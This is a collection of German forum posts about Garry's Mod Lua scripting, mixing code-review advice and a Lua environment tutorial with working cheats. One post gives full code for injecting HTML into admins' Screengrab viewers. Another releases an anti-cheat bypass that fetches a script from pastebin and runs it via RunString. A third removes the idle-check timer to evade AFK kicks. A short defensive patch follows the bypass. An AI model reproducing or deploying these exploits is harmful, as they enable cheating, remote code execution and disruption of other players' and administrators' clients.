Beiträge von K03

    hier in etwas übersichtlicherererererer

    noch nicht perfekt aber ich glaube man verstehts btw nicht getestet

    Kritik ( sorry muss sein )
    1. Benutz mal else z.b

    Code
    if(antwort2==false) then
    	     chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D....")
    		 end
    		 if(antwort2==true) then
    		 chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D.... Allein weil du da bist freue ich mich -.-")
    		 end


    ist das gleiche wie


    Code
    if(antwort2==false) then
    	     chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D....")
           else
                 chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D.... Allein weil du da bist freue ich mich -.-")
    	end

    2. Formatierung ist für den arsch.. man kann es kaum lesen


    3. if(string.find( strText , "wie" )||string.find( strText , "Wie" )&&string.find( strText , "geht" ) || string.find( strText , "Geht" )) then geht nicht
    da und (&&) klammert aber oder(||) nicht heißt das wenn da "wie" steht oder "geht" dann ist es true egal ob man nur "Geht" schriebt richtig wäre hier


    if( (string.find( strText , "wie" )||string.find( strText , "Wie" ))&&(string.find( strText , "geht" ) || string.find( strText , "Geht" ))) then


    ich fix gerade den code poste den dann nacher


    4. mann muss nicht booleans auf ==true überprüfen es reicht "if( boolean ) then .. end" oder (not) "if (! boolean ) then.. end" aber "if ( boolean == false ) then ... end " ist naja nicht gerade schön zu lesen

    schau doch mal ob der hook aufgerufen wird und ob er da ist also schreib in deine funktion c.b print("i get called")
    zudem schau in der PrintTable( hook.GetTable() ) ob da deine funktion drin steht
    und würde sogar am anfang vom Script ein print setzen um zuschauen ob es überhaupt läd

    geht gerade getestet auf server 1.


    Code:


    output:


    C: output.console
    OnPlayerChat called:
    Args: 
    ply:	Player [8][meinnameyo]
    str:	!lm
    bTeam:	false
    bDead:	true

    also geht ohne network/den server zu belasten und wenn eh alles cl.. warum sollte man das networken..

    Das macht ja nicht der Admin, sonder andere Spieler und der Admin sieht das dann er kann ja nichts dafür
    Also z.b kann ich joinen und hacken der Admin denkt sich "hmm ich schau auf sein bildschrim" und ich Crash ihn oder zeig ihm ein video etc.

    Also ich war letzt auf dem Instinkt® Garrys Mod® TTT Server und habe gesehen, dass der Server ein Screengrab hat (also Admins können "Auf" den Bildschrim jedes Spieler schauen).
    Hier ist mir folgende Zeile aufgefallen.





    Hier Ist auffallend <img src="data:image/jpg;base64,]] .. util.Decompress( img ) .. [[">]](1)





    Also könnte man clientside einfach den Receiver hooken und einen String senden der dann in ( siehe 1) in den html frame "eingebaut wird" sprich wir könnten und Einen kleinen Spaß erlauben und z.b musik abspielen oder Webseiten öffnen oder sogar gmod crashen
    Was müssen wir tun:

    • Hooken des Receiver
    • Craft des html bodys der injizieren werden soll
    • Senden an den Spieler


    So Also rann an die Sache:
    Das hooken ist das Einfachste, wir können es über die Net.Receive funktion machen oder über die Tabelle von net.Receivers.
    Ich bevorzuge die Tabelle da wir uns so Funktions aufrufe ersparen.


    Code
    net.Receivers["grab_RequestScreenshot"] = function( ) 
    	local sendto = net.ReadEntity()//wir müssen wissen wo unsere Daten hinmüssen btw das Script macht das so ich finde das eine schlechte idee den Client Entscheiden zu lassen man könnte es besser lösen aber egal;D
    //todo
    end


    so wenn jetzt der Admin unseren Screen anfordert würde er nicht sehen da Screengrab nicht mehr die Funktion aufruft die den "Screenshot" macht, sondern unsere, die im Moment nichts macht.
    Also Weiter gehts als nächstes müssen wir den String machen dieser beinhaltet den Code den wir später auf der html Seite haben wollen die der Admin sieht.


    local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]]
    zuerst die Zeichen [[ ]] erstellen einen LUA string ( eine tolle Funktion) indem man alle anderen (auch reguläre string escape sequenzen wie " und ' benutzen kann ) diese nehmen uns die arbeit ab alles zu escapen (werde irgend wann mal ein tutoral zu lua strings machen).
    und lassen dem admin ein Schönen text und bild anzeigen.



    so jetzt das ganze noch an den Server Senden, hierbei ist darauf zu achten, dass die Orginale funktion den String mit util.Compress( string compressedString ) ( LZMA ) Komprimiert heißt wir müssen dass auch machen da es auf dem Admin wieder Dekomprimiert wird


    also


    Code
    local data = util.Compress( str )
    net.Start( "grab_ScreenshotToServer" )
    	net.WriteEntity( sendto )
    	net.WriteUInt( #data, 32 )
    	net.WriteData( data, #data )
    net.SendToServer()

    so alles zusammen und wir bekommen:

    Code
    net.Receivers["grab_RequestScreenshot"] = function( ) 
    	local sendto = net.ReadEntity()	
    	local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]]
    	local data = util.Compress( str )
    	net.Start( "grab_ScreenshotToServer" )
    		net.WriteEntity( sendto )
    		net.WriteUInt( #data, 32 )
    		net.WriteData( data, #data )
    	net.SendToServer()
    end


    Tada:
    wenn der Admin uns jetzt Screen Graben Will ruft er unsere Funktion auf die den string an ihn senden wird welcher durch die Programmierung ( siehe erster code ) dirket als html text interpretiert wird.



    Bei fragen einfach Kommentar ( btw ich hab das hier gefunden und geschrieben in insg. ca 20 min also wenn manchen Erklärungen nicht vollständig oder nachvollziehbar sind FRAGEN )


    <3 K03 <3

    Also vor nicht all zu langer zeit (*5 tage*) habe ich mein alten CAC bypass released welcher AHACK ( ein alter gmod Cheat ) laden kann ohne von cac detected zu werden hier werde ich ein bisschen auf den "Exploit" eingehen und wie man ihn verhindern kann, bis vil irgend wann der Offizielle patch kommt.
    Doch davor erzähle ich erstmal wie es dazu kam.


    Anfang 2016 hatten wir unser CAC Bypass endlich zum laufen gebracht jedoch konnten wir den nicht weiter geben da er ( zumindest meines Wissens nach ) einer der besten ist die derzeit existiert hat.
    Wir wollten jedoch ein Cheat schreiben den wir weiter geben konnten und der keine Modul oder andere dependency's hat.
    Also haben wir etwas rumprobiert und sind mit diesem Bypass herausgekommen. Er funktioniert indem er CAC denken lässt, dass das ausgeführte Script von einem Frame ( eines Elementes des Spiels geladen wird, dass gewhitlistet ist ) .


    Dies passiert indem wir ein Dhtml Panel "austricksen" und (im BSP. dem Bypass) von pastenbin den hack laden.


    C
    local HTML = vgui.Create( "DHTML", vgui.GetWorldPanel() )
    HTML:SetSize( 0, 0 )
    HTML:SetAllowLua( true ) 
    HTML:SetHTML( [===[
    	<input id='heck' type='submit' onclick='console.log( "RUNLUA:RunString( \"pcall( http.Fetch , [[https://pastebin.com/raw/Z4Wr2nUk]] , RunString )\" ) ")' />
    	<script> document.getElementById("heck").onclick() </script>
    ]===] )


    Durch das laden des Scriptes mit console.log ( src: https://wiki.garrysmod.com/page/DHTML/ConsoleMessage and https://github.com/Facepunch/g…rysmod/lua/vgui/dhtml.lua line 18 )
    welches die ausführung von lua code dadurch das http.fetch von dem derma frame ausgeführt wird weiß cac nicht was es tuen soll und nimmt dies erstmal hin.


    Nun das witzige ist das wenn http.fetch den Inhalt der Website liefert ruft es Runstring mit dem Code auf diser aufruf ist aber nicht im normalen Stack.
    Daher weiß cac nicht was passiert und da htttp.fetch von einem gewhitlisteten "ort" aufgerufen wurde denkt cac dass das script "ok ist".


    Weil das laden den Stack Trace für das Script verwirrt ist es möglich diesen bypass nach CAC zu laden und sogar ohne scripthook oder external man könnte dieses Script mit jeden bypass laden dies ist der einzige bypass der dies jemals geschafft hat!



    Wie sollten sich Server davor schützen?

    Code
    hook.Add("Initialize" , "JoinMsg" , function( )
    	local old = vgui.GetControlTable( "DHTML" ).SetAllowLua
    	vgui.GetControlTable( "DHTML" ).SetAllowLua = function( s , x ) return old( s , false ) end
    end )

    Dieses script verhindert das man DHtml frames Ausnutzen kann um lua zu laden.


    Indem ich einfach die Funktion die für das setzen der Variable die das ausführen des lua scriptes detourt.



    Letzte worte:
    also auch wenn der Bypass nicht perfekt ist ( z.b mann muss ihn schnell laden bevor cac http.fetch hooked das sind ca 10 sec nach Joinen ) hat er kleinerer Fehler auf die ich nicht eingehen will jedoch ist er in dem jetzigen Release nicht vollständig und kann nach einer zeit zu einem Kick führen. Jedoch als CAC Truth Engineering(2) für welchen in den Einstellungen (von cac ) weder Gebannt noch gekickt werden kann. Man kann ihn umschreiben das er perfekt mit jedem Hack funktioniert aber diese Version werde ich aus angst das bald alle kinder mit ahack und hera auf cac Servern rumlaufen nicht Releasen.



    <3 K03 <3

    ich bin mir nicht sicher aber ich glaub Instinkt hat sowieso ein eigenes anti afk system ^^ welches dadurch nicht gebypasst wird
    aber ja ich versteh dein Standpunkt ;)


    MFG <3 K03 <3

    Ich sag auch nicht das dieses Script super hardcore ist. Aber ich benutz es in letzter zeit trotzdem sehr oft, da es super nützlich ist wenn man programmiert um nicht immer afk gemoved zu werden. Und ich verstehe nicht ganz was das ganze jetzt mit Instinkt zutun hat, aber ich schätze sowieso das 90% aller Spieler dies sowieso nicht auf den Servern von Instinkt zum Laufen bekommen. Dennoch danke für die Kritik ich werde ab sofort wieder mehr darauf achten was ich release.



    MFG <3 K03 <3

    haha ja warum net, ist jetzt eh schon bisle älter und manche Server haben auch ihr eigenes anti afk script ( Server side was ich für dumm halte da es rechenleistung braucht ) welches dadurch nicht gebypasst wird.
    Ich fine es aber ganz angenehm und wenn man scripthook hat / benutzt rein damit ;)

    Ich fass es nicht, statts ein Guid zu machen release ich einfach mal Code. Wer hätte das gedacht...

    Code
    if( timer && timer.Remove && timer.Exists && timer.Exists( "idlecheck" ) )then 
    timer.Remove( "idlecheck" )
    end

    Er removed den idel check Timer so könnt ihr nicht afk gemoved werden und bekommt auch keine Popups.
    Umgeht auch das neuste update ->https://github.com/Facepunch/garrysmod/pull/1279

    Oh man da ist es doch schon fast wieder 4 Monate her seit dem Letzen Post aber naja ( *das war's dann mit der Vorstellung jede Woche ein post* ), aber nun gut..
    Also um was soll es im nächsten Abschnitt gehen ?
    -Lua environment (env)
    Was ist das ?
    Nun eine Env ist der Kontext aus dem Funktionen ausgeführt werden ( normale ist es _G ).
    Nun alles was man global anlegt kommt in die Env,
    a = 1 ist das selbe wie _G.a = 1  ebenfalls könnte man auch durch die dafür vorgesehen Setter und getter so bekommen:getfenv( 1 ).a 
    im folgenden werde ich euch demonstrieren wie man funktionene hooken kann ohne die Funktion zu Detouren ( hooken bedeutet das man seine eigene Funktion zwischenschalten kann )
    das erste was wir brauchen ist die Globaletabelle da wenn wir eine eigene Env anlegen es keine funktionen kennt da sie nicht bekannt sind.
    im beispiel werde ich die ENV mit ev bezeichnen.


    C
    local env = { } //unsere env tabelle




    wenn man jetzt die Enviroment auf ev setzt so würde es keine fuktionen wie string oder table etc. geben da (bei der Orginalen geht das da die Zugriffe auf string etc über _G erfolgt ) sie der Env nicht bekannt sind also um dies zu verhindern gibt es 2 möglichkeiten
    1. Die env auf eine Kopie von _G setzen ( so kennt sie von sich aus alle Funktionen )
    2. Der env eine Refferenz auf _G geben ( so kann man z.b env.g = _G und in der env g["string"]["..."] benutzen )



    Da wir das Hooking über eine Metatabelle machen werden, fällt die erste Lösung weg da wir sonst die meta Methode __index nicht benutzen können (zu Metatabellen werde ich in einem anderen post kommen).
    Ich möchte klarstellen, dass das hier nur ein Proof of concept ist und ich daher dies nur mit der _G Tabelle mach und deren direkten Indexen ( also _G.print aber nicht _G.string.len ) es ist zwar möglich macht es aber nur unnötig kompliziert (im beispiel).



    also zurück zum Thema wir brauchen _G für alle Funktionen die uns Lua zu verfügung stellt.


    Code
    local ev = { g = table.Copy( _G ) } // unsere env mit einer Koßie von g


    nun zur Veranschaulichung werde ich zeigen was passiert wenn wir in eine Env etwas schreiben

    Code
    local ev = { g = table.Copy( _G ) , print = print , getfenv = getfenv}//ich gebe der env ein par funktionen die ich brauche
    setfenv( 1 , ev)          // setzen der env
    a = 1                     // test var
    print( a )                // 1
    print( ev.a )             // 1
    print( getfenv(0).a )     // nil
    print( getfenv(1).a )     // 1
    print( _G.a )             // error _G undef


    nun ich hoffe das war bis jetzt verständlich... also nun weiter wir geben unserer env eine meta Tabelle


    also nun haben wir die metatabelle die müssen wir noch auf unsere Env setzen hier der volle Code:


    wenn man die Env global macht ist es so super einfach für verschiedene Scripte zusammen zu arbeiten bzw. lokale weiterzugeben


    ich hoffe es ist verständlich wenn nicht konstruktive Kritik gerne gesehen genauso wie fragen / Verbesserungsvorschläge.


    <3 K03 <3